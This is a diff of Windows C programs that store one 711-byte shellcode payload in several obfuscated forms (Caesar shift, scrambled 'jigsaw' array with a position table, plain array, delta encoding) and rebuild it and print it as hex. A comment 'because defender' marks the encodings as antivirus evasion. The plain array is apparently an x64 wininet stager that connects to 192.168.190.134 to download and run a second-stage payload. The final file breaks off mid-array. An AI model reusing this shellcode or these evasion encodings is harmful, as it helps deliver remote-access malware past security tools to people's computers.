+	char caesar[711] = {0x9, 0x55, 0x90, 0xf1, 0xfd, 0xf5, 0xd9, 0xd, 0xd, 0xd, 0x4e, 0x5e, 0x4e, 0x5d, 0x5f, 0x55, 0x3e, 0xdf, 0x72, 0x55, 0x98, 0x5f, 0x6d, 0x55, 0x98, 0x5f, 0x25, 0x55, 0x98, 0x5f, 0x2d, 0x5e, 0x63, 0x55, 0x1c, 0xc4, 0x57, 0x57, 0x55, 0x98, 0x7f, 0x5d, 0x5a, 0x3e, 0xd6, 0x55, 0x3e, 0xcd, 0xb9, 0x49, 0x6e, 0x89, 0xf, 0x39, 0x2d, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0xef, 0xfa, 0x5f, 0x55, 0x98, 0x5f, 0x2d, 0x98, 0x4f, 0x49, 0x4e, 0x5e, 0x55, 0xe, 0xdd, 0x73, 0x8e, 0x85, 0x25, 0x18, 0xf, 0x1c, 0x92, 0x7f, 0xd, 0xd, 0xd, 0x98, 0x8d, 0x95, 0xd, 0xd, 0xd, 0x55, 0x92, 0xcd, 0x81, 0x74, 0x55, 0xe, 0xdd, 0x51, 0x98, 0x4d, 0x2d, 0x56, 0xe, 0xdd, 0x98, 0x55, 0x25, 0x5d, 0xf0, 0x63, 0x55, 0xc, 0xd6, 0x4e, 0x98, 0x41, 0x95, 0x5a, 0x3e, 0xd6, 0x55, 0xe, 0xe3, 0x55, 0x3e, 0xcd, 0xb9, 0x4e, 0xce, 0xd6, 0x1a, 0x4e, 0xe, 0xce, 0x45, 0xed, 0x82, 0xfe, 0x59, 0x10, 0x59, 0x31, 0x15, 0x52, 0x46, 0xde, 0x82, 0xe5, 0x65, 0x51, 0x98, 0x4d, 0x31, 0x56, 0xe, 0xdd, 0x73, 0x4e, 0x98, 0x19, 0x55, 0x51, 0x98, 0x4d, 0x29, 0x56, 0xe, 0xdd, 0x4e, 0x98, 0x11, 0x95, 0x4e, 0x65, 0x4e, 0x65, 0x55, 0xe, 0xdd, 0x6b, 0x66, 0x67, 0x4e, 0x65, 0x4e, 0x66, 0x4e, 0x67, 0x55, 0x90, 0xf9, 0x2d, 0x4e, 0x5f, 0xc, 0xed, 0x65, 0x4e, 0x66, 0x67, 0x55, 0x98, 0x1f, 0xf6, 0x58, 0xc, 0xc, 0xc, 0x6a, 0x55, 0x3e, 0xe8, 0x60, 0x56, 0xcb, 0x84, 0x76, 0x7b, 0x76, 0x7b, 0x72, 0x81, 0xd, 0x4e, 0x63, 0x55, 0x96, 0xee, 0x56, 0xd4, 0xcf, 0x59, 0x84, 0x33, 0x14, 0xc, 0xe2, 0x60, 0x60, 0xf5, 0x7d, 0xd, 0xd, 0xd, 0x5a, 0x7c, 0x87, 0x76, 0x79, 0x79, 0x6e, 0x3c, 0x42, 0x3b, 0x3d, 0x2d, 0x35, 0x64, 0x76, 0x7b, 0x71, 0x7c, 0x84, 0x80, 0x2d, 0x5b, 0x61, 0x2d, 0x3e, 0x3d, 0x3b, 0x3d, 0x48, 0x2d, 0x64, 0x76, 0x7b, 0x43, 0x41, 0x48, 0x2d, 0x85, 0x43, 0x41, 0x36, 0x2d, 0x4e, 0x7d, 0x7d, 0x79, 0x72, 0x64, 0x72, 0x6f, 0x58, 0x76, 0x81, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0x2d, 0x35, 0x58, 0x55, 0x61, 0x5a, 0x59, 0x39, 0x2d, 0x79, 0x76, 0x78, 0x72, 0x2d, 0x54, 0x72, 0x70, 0x78, 0x7c, 0x36, 0x2d, 0x50, 0x75, 0x7f, 0x7c, 0x7a, 0x72, 0x3c, 0x3e, 0x40, 0x3e, 0x3b, 0x3d, 0x3b, 0x3d, 0x3b, 0x3d, 0x2d, 0x60, 0x6e, 0x73, 0x6e, 0x7f, 0x76, 0x3c, 0x42, 0x40, 0x44, 0x3b, 0x40, 0x43, 0xd, 0x66, 0x60, 0x67, 0x5a, 0x3e, 0xcd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xc7, 0x47, 0x63, 0x86, 0xb4, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x1d, 0xd, 0xd, 0xd, 0x3e, 0x46, 0x3f, 0x3b, 0x3e, 0x43, 0x45, 0x3b, 0x3e, 0x46, 0x3d, 0x3b, 0x3e, 0x40, 0x41, 0xd, 0x67, 0x55, 0x96, 0xce, 0x56, 0xd4, 0xcd, 0x5d, 0xd, 0xd, 0xd, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x77, 0x10, 0x60, 0x56, 0xc7, 0x64, 0x96, 0xac, 0xd3, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0xf5, 0x58, 0xd, 0xd, 0xd, 0x3c, 0x82, 0x84, 0x51, 0x76, 0x66, 0x5f, 0x5b, 0x7f, 0x70, 0x7a, 0x87, 0x5c, 0x44, 0x5a, 0x6c, 0x82, 0x7d, 0x80, 0x4e, 0x4f, 0x5d, 0x84, 0x77, 0x6c, 0x79, 0x7b, 0x76, 0x78, 0x41, 0x45, 0x44, 0x6c, 0x54, 0x6e, 0x4f, 0x3f, 0x60, 0x5a, 0x81, 0x72, 0x3e, 0x79, 0x77, 0x65, 0x73, 0x51, 0x5d, 0x81, 0x46, 0x46, 0x53, 0x6f, 0x81, 0x5e, 0x4e, 0x65, 0x42, 0x7e, 0x63, 0x6f, 0x3e, 0x5f, 0x76, 0x4e, 0x61, 0x57, 0x5c, 0x7b, 0x7e, 0x83, 0x85, 0x82, 0x3a, 0xd, 0x55, 0x96, 0xce, 0x60, 0x67, 0x4e, 0x65, 0x5a, 0x3e, 0xd6, 0x60, 0x55, 0xc5, 0xd, 0xf, 0x35, 0x91, 0xd, 0xd, 0xd, 0xd, 0x5d, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0xf8, 0x62, 0x3b, 0x48, 0xc, 0xe2, 0x55, 0x96, 0xd3, 0x77, 0x17, 0x6c, 0x60, 0x67, 0x55, 0x96, 0xfe, 0x5a, 0x3e, 0xd6, 0x5a, 0x3e, 0xd6, 0x60, 0x60, 0x56, 0xd4, 0xcf, 0x3a, 0x13, 0x25, 0x88, 0xc, 0xe2, 0x92, 0xcd, 0x82, 0x2c, 0x55, 0xd4, 0xce, 0x95, 0x20, 0xd, 0xd, 0x56, 0xc7, 0x51, 0xfd, 0x42, 0xed, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xc, 0xdc, 0x81, 0xf, 0xf8, 0xd9, 0xf5, 0x62, 0xd, 0xd, 0xd, 0x60, 0x66, 0x77, 0x4d, 0x67, 0x56, 0x96, 0xde, 0xce, 0xef, 0x1d, 0x56, 0xd4, 0xcd, 0xd, 0x1d, 0xd, 0xd, 0x56, 0xc7, 0x65, 0xb1, 0x60, 0xf2, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0xa0, 0x60, 0x60, 0x55, 0x96, 0xf4, 0x55, 0x96, 0xfe, 0x55, 0x96, 0xe7, 0x56, 0xd4, 0xcd, 0xd, 0x2d, 0xd, 0xd, 0x56, 0x96, 0x6, 0x56, 0xc7, 0x1f, 0xa3, 0x96, 0xef, 0xd, 0xd, 0xd, 0xd, 0xc, 0xe2, 0x55, 0x90, 0xd1, 0x2d, 0x92, 0xcd, 0x81, 0xbf, 0x73, 0x98, 0x14, 0x55, 0xe, 0xd0, 0x92, 0xcd, 0x82, 0xdf, 0x65, 0xd0, 0x65, 0x77, 0xd, 0x66, 0x56, 0xd4, 0xcf, 0xfd, 0xc2, 0xaf, 0x63, 0xc, 0xe2};unsigned char shellcode[711] = { 0x00 };
+
+	for (int i = 0; i < sizeof(caesar); i++)
+	{
+		if ((caesar[i] - 13) < 0)
+		{
+			printf(""); // because defender
+			shellcode[i] = caesar[i] + 256 - 13;
+		}
+		else
+		{
+			shellcode[i] = caesar[i] - 13;
+		}
+	}
+
+	int idx = 0;
+	while (idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1))
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+	return 0;
+}
@@ -0,0 +1,38 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+int main(void)
+{
+	
+
+	unsigned char jigsaw[711] = { 0xf1, 0x77, 0x1f, 0x74, 0xd0, 0x41, 0xff, 0x65, 0xb7, 0x6a, 0x6e, 0xc1, 0xd2, 0xed, 0x49, 0x00, 0x00, 0x7b, 0x4e, 0x03, 0x4d, 0x10, 0x56, 0x66, 0x61, 0x00, 0x35, 0x60, 0x72, 0x30, 0xe8, 0x8b, 0xd5, 0x31, 0x52, 0x49, 0x4d, 0x00, 0x48, 0x52, 0x73, 0x26, 0x53, 0x31, 0xc7, 0x48, 0x58, 0x00, 0xe4, 0x4b, 0xc3, 0x2e, 0xd5, 0x6c, 0x13, 0x08, 0x59, 0x28, 0x00, 0xe0, 0x41, 0x50, 0x65, 0x00, 0x73, 0x41, 0x77, 0x57, 0x53, 0xc9, 0x58, 0x88, 0x2f, 0x75, 0x00, 0xbe, 0x00, 0x76, 0x00, 0x66, 0x69, 0x48, 0x8b, 0x84, 0x59, 0x00, 0xff, 0xc9, 0xff, 0x4d, 0x20, 0x48, 0x44, 0x52, 0x20, 0x33, 0x48, 0x00, 0xc9, 0x31, 0x6c, 0x10, 0xc1, 0x69, 0xf1, 0xff, 0x31, 0x24, 0x41, 0x3b, 0xc9, 0x53, 0x58, 0x4a, 0xc1, 0x01, 0x48, 0x50, 0x6b, 0x88, 0x6d, 0x00, 0x48, 0x72, 0x2e, 0x3c, 0x69, 0x00, 0x39, 0x70, 0x4d, 0x4d, 0x40, 0x31, 0x49, 0x41, 0x49, 0x4d, 0xc9, 0x66, 0x49, 0xc2, 0x00, 0x31, 0x48, 0x18, 0x20, 0x48, 0xd0, 0x78, 0x20, 0xc0, 0x31, 0x74, 0xd5, 0x3b, 0xff, 0x66, 0x53, 0xe7, 0x31, 0x48, 0x44, 0x30, 0x03, 0x41, 0x00, 0x63, 0x41, 0x48, 0x00, 0x58, 0x4f, 0x0d, 0xb8, 0x20, 0x20, 0x01, 0xa2, 0xf1, 0x00, 0x32, 0x5a, 0x49, 0x31, 0x00, 0x53, 0x41, 0xc4, 0xd0, 0xc2, 0x41, 0xc9, 0x2f, 0x59, 0x69, 0x41, 0x78, 0x89, 0x01, 0x49, 0x69, 0x56, 0xc7, 0xba, 0x48, 0x41, 0x61, 0x6f, 0x8b, 0x8b, 0xc7, 0xc2, 0x48, 0xd5, 0x41, 0x58, 0xba, 0x00, 0x53, 0x80, 0x00, 0x63, 0x53, 0x42, 0x34, 0xc0, 0x00, 0xd1, 0x75, 0x00, 0xd0, 0x20, 0x2d, 0x66, 0xc0, 0x74, 0x00, 0x36, 0xd5, 0x52, 0x0a, 0x41, 0x65, 0x62, 0xc7, 0xf0, 0x59, 0x6e, 0x58, 0x74, 0x00, 0x38, 0xc9, 0x8b, 0x40, 0x12, 0x31, 0x46, 0x54, 0x49, 0x4e, 0xff, 0x51, 0x70, 0x89, 0xeb, 0x69, 0x54, 0x58, 0x69, 0x89, 0x32, 0x38, 0x89, 0x35, 0x6d, 0x2e, 0xfc, 0xa7, 0x48, 0x34, 0xff, 0xba, 0x57, 0x41, 0xc7, 0x49, 0x53, 0x44, 0x53, 0x18, 0x2c, 0x53, 0x6b, 0x47, 0x49, 0x4c, 0x3b, 0x0c, 0x58, 0x53, 0x61, 0x20, 0x1c, 0x74, 0x4b, 0x00, 0x75, 0x5a, 0x6c, 0x00, 0x65, 0x00, 0x0f, 0x49, 0xc7, 0x07, 0x4d, 0x51, 0x89, 0x30, 0x31, 0x45, 0xc9, 0x36, 0x33, 0x00, 0x00, 0x6a, 0x41, 0x54, 0x00, 0x20, 0x70, 0x20, 0x48, 0xc0, 0x30, 0x20, 0xd1, 0x8b, 0x96, 0x49, 0x89, 0x31, 0x40, 0x02, 0x71, 0x5a, 0x4d, 0xcc, 0x00, 0x2e, 0x52, 0x65, 0x00, 0xe2, 0x89, 0x48, 0x36, 0x62, 0x4d, 0x2f, 0x31, 0x85, 0x53, 0xd5, 0x7a, 0x33, 0x04, 0x72, 0x39, 0x4c, 0x01, 0x39, 0xff, 0x00, 0x42, 0x53, 0xe9, 0x53, 0x48, 0x00, 0x41, 0x89, 0x72, 0x2e, 0x8b, 0x01, 0x18, 0xc1, 0x85, 0xc0, 0x48, 0xd6, 0x58, 0x20, 0x31, 0xba, 0x44, 0x74, 0xc6, 0x3c, 0xe0, 0x48, 0xe3, 0x85, 0x81, 0x6e, 0xc1, 0x2e, 0x50, 0x48, 0xd8, 0xc7, 0xf0, 0x4b, 0x48, 0x00, 0xba, 0x01, 0x38, 0x34, 0x35, 0x59, 0x40, 0x5a, 0x6f, 0xc0, 0xda, 0x00, 0x55, 0x00, 0x8b, 0x77, 0x37, 0xe8, 0xc9, 0x41, 0x56, 0x31, 0x61, 0x6e, 0x31, 0x20, 0xc6, 0x58, 0x0d, 0x48, 0x48, 0x10, 0x62, 0x00, 0x69, 0x00, 0x72, 0xff, 0x00, 0x6f, 0xc0, 0x49, 0x44, 0x39, 0x83, 0xe8, 0xdb, 0x18, 0x00, 0x3a, 0x52, 0xe2, 0x2d, 0x5f, 0x2c, 0x8b, 0x44, 0x01, 0xc0, 0x48, 0x37, 0xc2, 0x0b, 0x00, 0x06, 0xc1, 0x6c, 0x74, 0x67, 0x02, 0x53, 0xf9, 0x4a, 0x4f, 0x6a, 0x5a, 0x00, 0x58, 0x07, 0xd5, 0xd0, 0x75, 0xff, 0x8b, 0x5d, 0x9f, 0x48, 0x70, 0x6a, 0xc1, 0x37, 0x4d, 0x4c, 0x41, 0x5f, 0x75, 0x65, 0xcf, 0x4b, 0xc3, 0x57, 0xd2, 0x79, 0x4a, 0x41, 0x0f, 0x85, 0x00, 0x8b, 0x2e, 0x8b, 0xe2, 0x88, 0xd5, 0x48, 0x47, 0x34, 0x88, 0x53, 0x33, 0x78, 0x53, 0x6e, 0x00, 0x33, 0xc0, 0x48, 0x00, 0x50, 0x28, 0x89, 0xf0, 0x52, 0x01, 0x00, 0x89, 0x5f, 0x49, 0x69, 0xc0, 0x29, 0x75, 0x53, 0x5a, 0xac, 0x20, 0x85, 0x00, 0x93, 0x48, 0xe1, 0x5a, 0x48, 0x6e, 0x53, 0x64, 0x5a, 0x00, 0xc1, 0x6b, 0x52, 0x2f, 0x20, 0x50, 0x48, 0x4c, 0x59, 0x00, 0x20, 0x56, 0x6f, 0x48, 0x00, 0x20, 0x42, 0xe5, 0x53, 0x83, 0x49, 0x8b, 0xb2, 0xe8, 0x53, 0x00, 0x51, 0x28, 0x00, 0xff, 0x29, 0x20, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x48, 0x02, 0x48, 0x49, 0x6c, 0x77, 0x56, 0x2f, 0x6a, 0x01, 0x77, 0x4d, 0x41, 0xd5, 0x69, 0x30, 0x53, 0x24, 0x2e, 0x49, 0x65, 0xe8, 0x74, 0xe0, 0x41, 0x37, 0x61, 0x35, 0x31, 0x2e, 0x83, 0x65, 0x50, 0x48, 0x00, 0xff, 0xa4, 0x8b, 0x31, 0x36, 0x00, 0xeb, 0xc9, 0xac, 0x31, 0x7c, 0x8b, 0x49, 0x55, 0x30, 0x30, 0x68, 0x41, 0x48, 0x56, 0x6c, 0x52, 0x5e, 0x75, 0xc7, 0xcc, 0x8b, 0x2e, 0xb5, 0x59, 0x12, 0xff, 0x50, 0x31, 0x7a, 0x33, 0x43, 0x89, 0xff, 0x36, 0x34, 0x31, 0x02, 0xd0, 0x57, 0x00, 0x89, 0x41, 0xff, 0x4d, 0x2e, 0x35, 0x39, 0xec, 0x71, 0x5f, 0x69, 0x00, 0x51, 0x00, 0x48 };
+
+int positions[711] = { 652, 444, 581, 227, 173, 55, 213, 325, 35, 485, 282, 134, 695, 63, 618, 382, 611, 575, 271, 145, 315, 623, 708, 487, 50, 596, 304, 22, 40, 277, 385, 175, 677, 483, 67, 666, 365, 379, 313, 21, 460, 239, 613, 274, 542, 678, 154, 440, 3, 438, 691, 546, 384, 467, 586, 148, 701, 532, 248, 141, 203, 113, 336, 381, 269, 292, 268, 280, 420, 419, 179, 91, 337, 694, 629, 220, 535, 512, 416, 350, 320, 194, 69, 533, 191, 415, 676, 57, 599, 564, 660, 74, 445, 199, 273, 339, 19, 534, 370, 503, 295, 628, 56, 505, 143, 383, 394, 147, 506, 278, 135, 479, 523, 508, 61, 60, 528, 13, 321, 177, 452, 659, 15, 450, 397, 49, 301, 610, 491, 246, 524, 368, 157, 16, 541, 10, 631, 123, 566, 77, 219, 543, 639, 43, 129, 26, 681, 206, 102, 79, 261, 626, 216, 302, 577, 547, 212, 686, 645, 649, 525, 215, 488, 346, 423, 192, 88, 326, 12, 550, 434, 181, 454, 136, 529, 330, 318, 101, 707, 560, 587, 392, 193, 656, 130, 389, 646, 133, 680, 76, 571, 59, 563, 303, 614, 253, 119, 513, 518, 172, 107, 446, 115, 235, 590, 582, 461, 256, 328, 28, 66, 625, 704, 517, 436, 522, 698, 426, 537, 243, 90, 228, 451, 539, 462, 289, 367, 9, 620, 514, 612, 109, 68, 515, 162, 412, 495, 7, 309, 242, 29, 554, 198, 482, 502, 657, 4, 186, 265, 633, 684, 387, 140, 125, 120, 616, 208, 340, 493, 314, 569, 449, 576, 11, 459, 670, 606, 353, 507, 696, 264, 654, 478, 396, 551, 258, 335, 401, 0, 378, 558, 404, 602, 632, 427, 174, 411, 159, 363, 591, 568, 574, 317, 635, 470, 475, 624, 316, 285, 165, 486, 372, 476, 310, 170, 604, 300, 640, 443, 187, 255, 637, 322, 249, 83, 702, 703, 240, 417, 496, 428, 275, 369, 149, 118, 360, 308, 588, 530, 465, 497, 272, 431, 197, 294, 279, 182, 131, 400, 286, 151, 24, 669, 663, 651, 366, 169, 531, 511, 205, 561, 6, 86, 358, 504, 226, 247, 671, 648, 647, 395, 299, 456, 257, 402, 692, 371, 600, 453, 356, 176, 333, 391, 237, 75, 492, 709, 536, 70, 540, 209, 527, 65, 630, 178, 664, 352, 393, 110, 690, 112, 519, 682, 579, 23, 128, 498, 291, 398, 667, 155, 490, 552, 71, 594, 1, 114, 578, 78, 510, 409, 259, 463, 27, 153, 583, 705, 210, 126, 661, 374, 108, 472, 471, 593, 362, 105, 406, 334, 47, 655, 405, 545, 595, 207, 238, 357, 5, 44, 180, 32, 418, 351, 468, 46, 270, 430, 189, 58, 166, 653, 386, 494, 674, 222, 673, 85, 117, 672, 267, 693, 410, 103, 150, 2, 608, 217, 80, 627, 375, 25, 622, 572, 466, 53, 168, 167, 127, 97, 650, 473, 236, 81, 92, 573, 621, 319, 481, 99, 605, 421, 665, 37, 509, 422, 557, 8, 202, 688, 549, 161, 152, 241, 20, 214, 429, 45, 293, 615, 584, 306, 480, 144, 72, 555, 142, 298, 603, 312, 697, 263, 17, 377, 36, 190, 34, 96, 662, 156, 343, 39, 62, 585, 710, 100, 324, 121, 122, 556, 359, 287, 348, 225, 597, 305, 658, 231, 94, 489, 311, 619, 592, 448, 183, 516, 408, 474, 425, 281, 683, 290, 580, 567, 617, 132, 54, 84, 432, 644, 95, 233, 521, 643, 223, 520, 266, 364, 439, 139, 327, 14, 442, 30, 413, 38, 146, 204, 87, 323, 376, 251, 33, 441, 106, 477, 636, 424, 195, 373, 104, 685, 437, 244, 433, 31, 262, 598, 548, 329, 347, 388, 638, 93, 699, 160, 407, 52, 111, 234, 254, 464, 501, 354, 553, 138, 221, 42, 229, 642, 469, 260, 218, 158, 307, 171, 296, 245, 98, 201, 163, 455, 349, 355, 390, 276, 679, 18, 41, 116, 700, 211, 634, 164, 338, 288, 414, 544, 526, 48, 562, 51, 89, 589, 609, 342, 344, 332, 188, 601, 230, 484, 64, 185, 458, 570, 607, 687, 341, 706, 447, 668, 641, 538, 565, 252, 403, 331, 559, 200, 283, 284, 124, 82, 184, 297, 675, 232, 137, 435, 250, 345, 499, 399, 196, 500, 457, 224, 361, 73, 380, 689 };
+
+
+unsigned char shellcode[711] = { 0x00 };
+int position;
+
+// Reconstruct the payload
+for (int idx = 0; idx < sizeof(positions) / sizeof(positions[0]); idx++) {
+	position = positions[idx];
+	shellcode[position] = jigsaw[idx];
+}
+
+
+
+	int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+}
@@ -0,0 +1,27 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+int main(void)
+{
+	
+	unsigned char shellcode[711] = {252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 81, 86, 72, 15, 183, 74, 74, 72, 139, 114, 80, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 72, 139, 82, 32, 139, 66, 60, 65, 81, 72, 1, 208, 102, 129, 120, 24, 11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 68, 139, 64, 32, 73, 1, 208, 139, 72, 24, 80, 227, 86, 72, 255, 201, 65, 139, 52, 136, 77, 49, 201, 72, 1, 214, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, 208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 65, 88, 65, 88, 72, 1, 208, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 72, 49, 219, 83, 73, 190, 119, 105, 110, 105, 110, 101, 116, 0, 65, 86, 72, 137, 225, 73, 199, 194, 76, 119, 38, 7, 255, 213, 83, 83, 232, 112, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 49, 48, 46, 48, 59, 32, 87, 105, 110, 54, 52, 59, 32, 120, 54, 52, 41, 32, 65, 112, 112, 108, 101, 87, 101, 98, 75, 105, 116, 47, 53, 51, 55, 46, 51, 54, 32, 40, 75, 72, 84, 77, 76, 44, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 41, 32, 67, 104, 114, 111, 109, 101, 47, 49, 51, 49, 46, 48, 46, 48, 46, 48, 32, 83, 97, 102, 97, 114, 105, 47, 53, 51, 55, 46, 51, 54, 0, 89, 83, 90, 77, 49, 192, 77, 49, 201, 83, 83, 73, 186, 58, 86, 121, 167, 0, 0, 0, 0, 255, 213, 232, 16, 0, 0, 0, 49, 57, 50, 46, 49, 54, 56, 46, 49, 57, 48, 46, 49, 51, 52, 0, 90, 72, 137, 193, 73, 199, 192, 80, 0, 0, 0, 77, 49, 201, 83, 83, 106, 3, 83, 73, 186, 87, 137, 159, 198, 0, 0, 0, 0, 255, 213, 232, 75, 0, 0, 0, 47, 117, 119, 68, 105, 89, 82, 78, 114, 99, 109, 122, 79, 55, 77, 95, 117, 112, 115, 65, 66, 80, 119, 106, 95, 108, 110, 105, 107, 52, 56, 55, 95, 71, 97, 66, 50, 83, 77, 116, 101, 49, 108, 106, 88, 102, 68, 80, 116, 57, 57, 70, 98, 116, 81, 65, 88, 53, 113, 86, 98, 49, 82, 105, 65, 84, 74, 79, 110, 113, 118, 120, 117, 45, 0, 72, 137, 193, 83, 90, 65, 88, 77, 49, 201, 83, 72, 184, 0, 2, 40, 132, 0, 0, 0, 0, 80, 83, 83, 73, 199, 194, 235, 85, 46, 59, 255, 213, 72, 137, 198, 106, 10, 95, 83, 90, 72, 137, 241, 77, 49, 201, 77, 49, 201, 83, 83, 73, 199, 194, 45, 6, 24, 123, 255, 213, 133, 192, 117, 31, 72, 199, 193, 136, 19, 0, 0, 73, 186, 68, 240, 53, 224, 0, 0, 0, 0, 255, 213, 72, 255, 207, 116, 2, 235, 204, 232, 85, 0, 0, 0, 83, 89, 106, 64, 90, 73, 137, 209, 193, 226, 16, 73, 199, 192, 0, 16, 0, 0, 73, 186, 88, 164, 83, 229, 0, 0, 0, 0, 255, 213, 72, 147, 83, 83, 72, 137, 231, 72, 137, 241, 72, 137, 218, 73, 199, 192, 0, 32, 0, 0, 73, 137, 249, 73, 186, 18, 150, 137, 226, 0, 0, 0, 0, 255, 213, 72, 131, 196, 32, 133, 192, 116, 178, 102, 139, 7, 72, 1, 195, 133, 192, 117, 210, 88, 195, 88, 106, 0, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213};
+
+	printf("All this program does is store shellcode and print this message.\n");
+
+	int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+}
+          
@@ -0,0 +1,50 @@
+#include <stdio.h>
+#include <string.h>
+#include <windows.h>
+
+
+int main(){
+	
+
+	unsigned char first_byte = 0xfc;unsigned char delta[710] = {0x4c, 0x3b, 0x61, 0xc, 0xf8, 0xe4, 0x34, 0x0, 0x0, 0x41, 0x10, 0xf0, 0xf, 0x2, 0xf6, 0xe9, 0xa1, 0x93, 0xe3, 0x43, 0xc7, 0xe, 0xe8, 0x43, 0xc7, 0xc6, 0x30, 0x43, 0xc7, 0xce, 0x31, 0x5, 0xf2, 0xc7, 0xa8, 0x93, 0x0, 0xfe, 0x43, 0xe7, 0xde, 0xfd, 0xe4, 0x98, 0x7f, 0xe9, 0x8f, 0xec, 0x90, 0x25, 0x1b, 0x86, 0x2a, 0xf4, 0x21, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x21, 0xb, 0x65, 0xf6, 0x43, 0xc7, 0xce, 0x6b, 0xb7, 0xfa, 0x5, 0x10, 0xf7, 0xb9, 0xcf, 0x96, 0x1b, 0xf7, 0xa0, 0xf3, 0xf7, 0xd, 0x76, 0xed, 0x8e, 0x0, 0x0, 0x8b, 0xf5, 0x8, 0x78, 0x0, 0x0, 0x48, 0x3d, 0x3b, 0xb4, 0xf3, 0xe1, 0xb9, 0xcf, 0x74, 0x47, 0xb5, 0xe0, 0x29, 0xb8, 0xcf, 0xbb, 0xbd, 0xd0, 0x38, 0x93, 0x73, 0xf2, 0xb7, 0xca, 0x78, 0x4a, 0xa9, 0x54, 0xc5, 0xe4, 0x98, 0x7f, 0xb9, 0xd5, 0x72, 0xe9, 0x8f, 0xec, 0x95, 0x80, 0x8, 0x44, 0x34, 0xc0, 0xc0, 0x77, 0xa8, 0x95, 0x7c, 0x5b, 0xb7, 0x49, 0xd8, 0xe4, 0x3d, 0xf4, 0x98, 0xa4, 0x63, 0x80, 0xec, 0x47, 0xb5, 0xe4, 0x25, 0xb8, 0xcf, 0x96, 0xdb, 0x4a, 0x81, 0x3c, 0xfc, 0x47, 0xb5, 0xdc, 0x2d, 0xb8, 0xcf, 0x71, 0x4a, 0x79, 0x84, 0xb9, 0x17, 0xe9, 0x17, 0xf0, 0xb9, 0xcf, 0x8e, 0xfb, 0x1, 0xe7, 0x17, 0xe9, 0x18, 0xe8, 0x19, 0xee, 0x3b, 0x69, 0x34, 0x21, 0x11, 0xad, 0xe1, 0x78, 0xe9, 0x18, 0x1, 0xee, 0x43, 0x87, 0xd7, 0x62, 0xb4, 0x0, 0x0, 0x5e, 0xeb, 0xe9, 0xaa, 0x78, 0xf6, 0x75, 0xb9, 0xf2, 0x5, 0xfb, 0x5, 0xf7, 0xf, 0x8c, 0x41, 0x15, 0xf2, 0x41, 0x58, 0x68, 0x7e, 0xfb, 0x8a, 0x2b, 0xaf, 0xe1, 0xf8, 0xd6, 0x7e, 0x0, 0x95, 0x88, 0x90, 0x0, 0x0, 0x4d, 0x22, 0xb, 0xef, 0x3, 0x0, 0xf5, 0xce, 0x6, 0xf9, 0x2, 0xf0, 0x8, 0x2f, 0x12, 0x5, 0xf6, 0xb, 0x8, 0xfc, 0xad, 0x2e, 0x6, 0xcc, 0x11, 0xff, 0xfe, 0x2, 0xb, 0xe5, 0x37, 0x12, 0x5, 0xc8, 0xfe, 0x7, 0xe5, 0x58, 0xbe, 0xfe, 0xf5, 0xf7, 0x21, 0x2f, 0x0, 0xfc, 0xf9, 0xf2, 0xe, 0xfd, 0xe9, 0x1e, 0xb, 0xbb, 0x6, 0xfe, 0x4, 0xf7, 0x5, 0x3, 0xea, 0x8, 0x23, 0xfd, 0xc, 0xf9, 0xff, 0xe0, 0xf4, 0x4c, 0xfd, 0x2, 0xfa, 0xbb, 0x27, 0x1e, 0xfe, 0x8, 0x4, 0xba, 0xf7, 0x23, 0x25, 0xa, 0xfd, 0xfe, 0xf8, 0xca, 0x2, 0x2, 0xfe, 0xfd, 0x2, 0xfe, 0x2, 0xfe, 0x2, 0xf0, 0x33, 0xe, 0x5, 0xfb, 0x11, 0xf7, 0xc6, 0x6, 0xfe, 0x4, 0xf7, 0x5, 0x3, 0xca, 0x59, 0xfa, 0x7, 0xf3, 0xe4, 0x8f, 0x8d, 0xe4, 0x98, 0x8a, 0x0, 0xf6, 0x71, 0x80, 0x1c, 0x23, 0x2e, 